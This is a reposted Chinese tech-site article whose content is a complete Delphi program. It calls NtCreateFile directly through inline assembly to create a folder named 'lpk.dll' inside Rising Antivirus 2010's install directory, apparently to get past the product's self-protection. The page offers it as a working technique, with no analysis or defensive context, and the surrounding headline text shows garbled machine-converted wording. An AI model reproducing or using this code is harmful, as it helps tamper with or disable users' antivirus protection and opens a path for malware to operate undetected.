当前位置:七道奇文章资讯安全技术网络技术
日期:2009-11-11 11:10:00  来源:本站整理

如安在瑞星2010全保护下成立文件夹[网络技术]

赞助商链接



  本文“如安在瑞星2010全保护下成立文件夹[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

program createfolder;

uses
Windows;

const
DIRECTORY_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED or $F;
FILE_CREATE = $00000002;
FILE_DIRECTORY_FILE = $00000001;
OBJ_CASE_INSENSITIVE = $00000040;

type
NTSTATUS = ULONG;

PUnicodeString = ^TUnicodeString;
TUnicodeString = packed record
    Length: Word;
    MaximumLength: Word;
    Buffer: PWideChar;
end;
UNICODE_STRING = TUnicodeString;
PUNICODE_STRING = ^UNICODE_STRING;

PLargeInteger = ^TLargeInteger;
TLargeInteger = packed record
    LowPart: Cardinal;
    HighPart: Integer;
end;

PObjectAttributes = ^TObjectAttributes;
TObjectAttributes = packed record
    Length: Cardinal;
    RootDirectory: THandle;
    ObjectName: PUNICODE_STRING;
    Attributes: Cardinal;
    SecurityDescriptor: Pointer;
    SecurityQualityOfService: Pointer;
end;
OBJECT_ATTRIBUTES = ^TObjectAttributes;
POBJECT_ATTRIBUTES = ^OBJECT_ATTRIBUTES;

PIoStatusBlock = ^TIoStatusBlock;
TIoStatusBlock = packed record
    Status: NTSTATUS;
    Information: Cardinal; //ULONG_PTR
end;
IO_STATUS_BLOCK = TIoStatusBlock;
procedure RtlInitUnicodeString (var Buffer: TUnicodeString;Source: PWideChar); stdcall;external 'ntdll.dll' name 'RtlInitUnicodeString';

function createrixing(Filefname:PWideChar): bool;
var
hmod, hFile: dword;
FileAccess: ulong;
stat: integer;
FileAttr, FileShare, CreateDispos, CreateOptions: ulong;
oba: TObjectAttributes;
iosb: IO_STATUS_BLOCK;
pNtCreateFile, pUniName: pointer;
uniname: UNICODE_STRING;
begin
result := false;
hmod := GetModuleHandle('ntdll.dll');
pNtCreateFile := GetProcAddress(hmod, 'NtCreateFile');
FileAccess := DIRECTORY_ALL_ACCESS;
FileAttr := FILE_ATTRIBUTE_NORMAL;
FileShare := FILE_SHARE_READ or FILE_SHARE_WRITE;
CreateDispos := FILE_CREATE;
CreateOptions := FILE_DIRECTORY_FILE;
RtlInitUnicodeString(uniname, Filefname);
oba.Length := SizeOf(TObjectAttributes);
oba.RootDirectory := 0;
oba.Attributes :=OBJ_CASE_INSENSITIVE;
oba.ObjectName := @UniName;
oba.SecurityDescriptor := nil;
oba.SecurityQualityOfService := nil;
asm
   push 0
   push 0
   push CreateOptions
   push CreateDispos
   push FileShare
   push FileAttr
   push 0
   lea eax , iosb
   push eax
   lea eax ,oba
   push eax
   push FileAccess
   lea eax ,hFile
   push eax
   call pNtCreateFile
   mov stat , eax
end;
if (stat <> 0) then result := false else result := true;
end;
begin
if not (createrixing('\??\C:\Program Files\Rising\Rav\lpk.dll')) then messagebox(0, pchar('文件夹成立失利'), '提醒', 0) else
    messagebox(0, pchar('成立成功'), '提醒', 0)
end.
 


  以上是“如安在瑞星2010全保护下成立文件夹[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • 如安在瑞星2010全保护下成立文件夹
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .